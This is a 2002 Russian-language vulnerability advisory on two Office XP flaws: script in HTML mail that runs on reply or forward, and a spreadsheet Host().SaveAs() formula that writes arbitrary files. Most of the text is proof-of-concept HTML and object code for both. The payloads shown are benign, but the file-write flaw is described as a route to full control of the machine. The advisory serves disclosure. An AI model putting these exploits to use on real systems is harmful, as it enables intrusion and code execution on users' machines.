Security Lab

Выполнение произвольного кода и другие ошибки в Office XP

Дата публикации:03.04.2002
Всего просмотров:1365
Опасность:
Наличие исправления:
Количество уязвимостей:1
CVE ID: Нет данных
Вектор эксплуатации:
Воздействие:
CWE ID: Нет данных
Наличие эксплоита: Нет данных
Уязвимые продукты:
Описание:

Найдено по крайней мере две уязвимости в Office XP.

1. Возможно включить активное содержание (объект + сценарий) в HTML почту, которое будет вызвано, если пользователь выбирает reply или forward к этому сообщению. Уязвимость позволяет, по крайней мере, вынудить пользователя посещать страницу в зоне интернета IE.
Пример (следующий код должен быть помещен в HTML сообщение и пользователь должен выбрать reply или forward):

<OBJECT id=WebBrowser1 height=150 width=300
classid=CLSID:8856F961-340A-11D0-A96B-00C04FD705A2>
<PARAM NAME="ExtentX" VALUE="7938">
<PARAM NAME="ExtentY" VALUE="3969">
<PARAM NAME="ViewMode" VALUE="0">
<PARAM NAME="Offline" VALUE="0">
<PARAM NAME="Silent" VALUE="0">
<PARAM NAME="RegisterAsBrowser" VALUE="1">
<PARAM NAME="RegisterAsDropTarget" VALUE="1">
<PARAM NAME="AutoArrange" VALUE="0">
<PARAM NAME="NoClientEdge" VALUE="0">
<PARAM NAME="AlignLeft" VALUE="0">
<PARAM NAME="ViewID" VALUE="{0057D0E0-3573-11CF-AE69-08002B2E1262}">
<PARAM NAME="Location" VALUE="about:/dev/random&lt;script&gt;while (42)
alert('HOHOHO\nTrying to sell trustworthy computing\nHOHOHO')&lt;/script&gt;">
<PARAM NAME="ReadyState" VALUE="4">
</OBJECT>


2. Вторая ошибка найдена в компоненте MS spreadsheet, а именно в функции Host(), которая может эксплуатироваться с help of (1) или из любого документа, открытого с Office приложением. Эта функция позволяет создавать файлы с произвольными именами, и в их содержании можно разместить исполняемый файл (.hta) в каталоге запуска пользователя, который может приводить к  полному контролю над компьютером пользователя.
Компонент office spreadsheet - кое-что вроде мини excel. Он может быть внедрен в web-страницы и в документы офиса.
Компонент поддерживает функцию Host(), которая возвращает внедренный объект. Так, если вы помещаете в формулу '=Host().SaveAs("name")', должен быть создан файл с именим ("name").
Пример:
<h1>
Hehe. Triyng to sell trustworthy computing.
</h1>
<object
classid="CLSID:0002E551-0000-0000-C000-000000000046" id=Spreadsheet1
v:shapes="_x0000_s1026" class=shape width=81 height=81
u1:shapes="_x0000_s1025">
<param name=DataType value=XMLURL>
<param name=XMLData
value="&lt;?xml version=&quot;1.0&quot;?&gt;&#13;&#10;&lt;ss:Workbook
xmlns:o=&quot;urn:schemas-microsoft-com:office:office&quot;&#13;&#10;
xmlns:x=&quot;urn:schemas-microsoft-com:office:excel&quot;&#13;&#10;
xmlns:ss=&quot;urn:schemas-microsoft-com:office:spreadsheet&quot;&#13;&#10;
xmlns:c=&quot;urn:schemas-microsoft-com:office:component:spreadsheet&quot;&#13;&#10;
xmlns:html=&quot;http://www.w3.org/TR/REC-html40&quot;&gt;&#13;&#10;
&lt;x:ExcelWorkbook&gt;&#13;&#10;
&lt;x:ProtectStructure&gt;False&lt;/x:ProtectStructure&gt;&#13;&#10;
&lt;x:ActiveSheet&gt;0&lt;/x:ActiveSheet&gt;&#13;&#10;
&lt;/x:ExcelWorkbook&gt;&#13;&#10; &lt;ss:Styles&gt;&#13;&#10; &lt;ss:Style
ss:ID=&quot;Default&quot;&gt;&#13;&#10; &lt;ss:Alignment
ss:Horizontal=&quot;Automatic&quot; ss:Rotate=&quot;0.0&quot;
ss:Vertical=&quot;Bottom&quot;&#13;&#10;
ss:ReadingOrder=&quot;Context&quot;/&gt;&#13;&#10;
&lt;ss:Borders&gt;&#13;&#10; &lt;/ss:Borders&gt;&#13;&#10; &lt;ss:Font
ss:FontName=&quot;Arial&quot; ss:Size=&quot;10&quot;
ss:Color=&quot;Automatic&quot; ss:Bold=&quot;0&quot;&#13;&#10;
ss:Italic=&quot;0&quot;
ss:Underline=&quot;None&quot;/&gt;&#13;&#10; &lt;ss:Interior
ss:Color=&quot;Automatic&quot; ss:Pattern=&quot;None&quot;/&gt;&#13;&#10;
&lt;ss:NumberFormat ss:Format=&quot;General&quot;/&gt;&#13;&#10;
&lt;ss:Protection
ss:Protected=&quot;1&quot;/&gt;&#13;&#10; &lt;/ss:Style&gt;&#13;&#10;
&lt;/ss:Styles&gt;&#13;&#10; &lt;c:ComponentOptions&gt;&#13;&#10;
&lt;c:Label&gt;&#13;&#10; &lt;c:Caption&gt;Microsoft Office
Spreadsheet&lt;/c:Caption&gt;&#13;&#10;
&lt;/c:Label&gt;&#13;&#10; &lt;c:PreventPropBrowser/&gt;&#13;&#10;
&lt;c:MaxHeight&gt;80%&lt;/c:MaxHeight&gt;&#13;&#10;
&lt;c:MaxWidth&gt;80%&lt;/c:MaxWidth&gt;&#13;&#10;
&lt;c:NextSheetNumber&gt;1&lt;/c:NextSheetNumber&gt;&#13;&#10;
&lt;/c:ComponentOptions&gt;&#13;&#10; &lt;x:WorkbookOptions&gt;&#13;&#10;
&lt;c:OWCVersion&gt;10.0.0.2621 &lt;/c:OWCVersion&gt;&#13;&#10;
&lt;x:DisableUndo/&gt;&#13;&#10; &lt;/x:WorkbookOptions&gt;&#13;&#10;
&lt;ss:Worksheet
ss:Name=&quot;Sheet1&quot;&gt;&#13;&#10; &lt;x:WorksheetOptions&gt;&#13;&#10;
&lt;x:Selected/&gt;&#13;&#10;
&lt;x:ViewableRange&gt;R1:R262144&lt;/x:ViewableRange&gt;&#13;&#10;
&lt;x:Selection&gt;R1C1&lt;/x:Selection&gt;&#13;&#10;
&lt;x:TopRowVisible&gt;0&lt;/x:TopRowVisible&gt;&#13;&#10;
&lt;x:LeftColumnVisible&gt;0&lt;/x:LeftColumnVisible&gt;&#13;&#10;
&lt;x:ProtectContents&gt;False&lt;/x:ProtectContents&gt;&#13;&#10;
&lt;/x:WorksheetOptions&gt;&#13;&#10;
&lt;c:WorksheetOptions&gt;&#13;&#10; &lt;/c:WorksheetOptions&gt;&#13;&#10;
&lt;ss:Table ss:ExpandedColumnCount=&quot;1&quot;
ss:ExpandedRowCount=&quot;1&quot;&#13;&#10;
ss:DefaultColumnWidth=&quot;48.0&quot;
ss:DefaultRowHeight=&quot;12.75&quot;&gt;&#13;&#10; &lt;ss:Row&gt;&#13;&#10;
&lt;ss:Cell ss:Formula='=HOST().SaveAs(&quot;C:\GGGG5&quot;)'&gt;&#13;&#10;
&lt;ss:Data ss:Type=&quot;Boolean&quot;&gt;1&lt;/ss:Data&gt;&#13;&#10;
&lt;/ss:Cell&gt;&#13;&#10; &lt;/ss:Row&gt;&#13;&#10;
&lt;/ss:Table&gt;&#13;&#10; &lt;/ss:Worksheet&gt;&#13;&#10; &lt;ss:Worksheet
ss:Name=&quot;Sheet2&quot;&gt;&#13;&#10; &lt;x:WorksheetOptions&gt;&#13;&#10;
&lt;x:ViewableRange&gt;R1:R262144&lt;/x:ViewableRange&gt;&#13;&#10;
&lt;x:Selection&gt;R1C1&lt;/x:Selection&gt;&#13;&#10;
&lt;x:TopRowVisible&gt;0&lt;/x:TopRowVisible&gt;&#13;&#10;
&lt;x:LeftColumnVisible&gt;0&lt;/x:LeftColumnVisible&gt;&#13;&#10;
&lt;x:ProtectContents&gt;False&lt;/x:ProtectContents&gt;&#13;&#10;
&lt;/x:WorksheetOptions&gt;&#13;&#10; &lt;c:WorksheetOptions&gt;&#13;&#10;
&lt;/c:WorksheetOptions&gt;&#13;&#10; &lt;/ss:Worksheet&gt;&#13;&#10;
&lt;ss:Worksheet ss:Name=&quot;Sheet3&quot;&gt;&#13;&#10;
&lt;x:WorksheetOptions&gt;&#13;&#10;
&lt;x:ViewableRange&gt;R1:R262144&lt;/x:ViewableRange&gt;&#13;&#10;
&lt;x:Selection&gt;R1C1&lt;/x:Selection&gt;&#13;&#10;
&lt;x:TopRowVisible&gt;0&lt;/x:TopRowVisible&gt;&#13;&#10;
&lt;x:LeftColumnVisible&gt;0&lt;/x:LeftColumnVisible&gt;&#13;&#10;
&lt;x:ProtectContents&gt;False&lt;/x:ProtectContents&gt;&#13;&#10;
&lt;/x:WorksheetOptions&gt;&#13;&#10; &lt;c:WorksheetOptions&gt;&#13;&#10;
&lt;/c:WorksheetOptions&gt;&#13;&#10; &lt;/ss:Worksheet&gt;&#13;&#10;
&lt;o:DocumentProperties&gt;&#13;&#10;
&lt;o:Author&gt;ad&lt;/o:Author&gt;&#13;&#10;
&lt;o:LastAuthor&gt;ad&lt;/o:LastAuthor&gt;&#13;&#10;
&lt;o:Created&gt;2002-03-17T12:07:37Z&lt;/o:Created&gt;&#13;&#10;
&lt;o:Company&gt;g&lt;/o:Company&gt;&#13;&#10;
&lt;o:Version&gt;10.2625&lt;/o:Version&gt;&#13;&#10;
&lt;/o:DocumentProperties&gt;&#13;&#10;
&lt;o:OfficeDocumentSettings&gt;&#13;&#10;
&lt;o:DownloadComponents/&gt;&#13;&#10;
&lt;o:LocationOfComponents HRef=&quot;file:///E:\&quot;/&gt;&#13;&#10;
&lt;/o:OfficeDocumentSettings&gt;&#13;&#10;&lt;/ss:Workbook&gt;&#13;&#10;">
<param name=AllowPropertyToolbox value=0>
<param name=AutoFit value=0>
<param name=Calculation value=-4105>
<param name=Caption value="Microsoft Office Spreadsheet">
<param name=DisplayColumnHeadings value=-1>
<param name=DisplayGridlines value=-1>
<param name=DisplayHorizontalScrollBar value=-1>
<param name=DisplayOfficeLogo value=-1>
<param name=DisplayPropertyToolbox value=0>
<param name=DisplayRowHeadings value=-1>
<param name=DisplayTitleBar value=0>
<param name=DisplayToolbar value=-1>
<param name=DisplayVerticalScrollBar value=-1>
<param name=DisplayWorkbookTabs value=-1>
<param name=EnableEvents value=-1>
<param name=MaxHeight value="80%">
<param name=MaxWidth value="80%">
<param name=MoveAfterReturn value=-1>
<param name=MoveAfterReturnDirection value=-4121>
<param name=RightToLeft value=0>
<param name=ScreenUpdating value=-1>
<param name=EnableUndo value=0>
</object>
\

 

Ссылки: Источник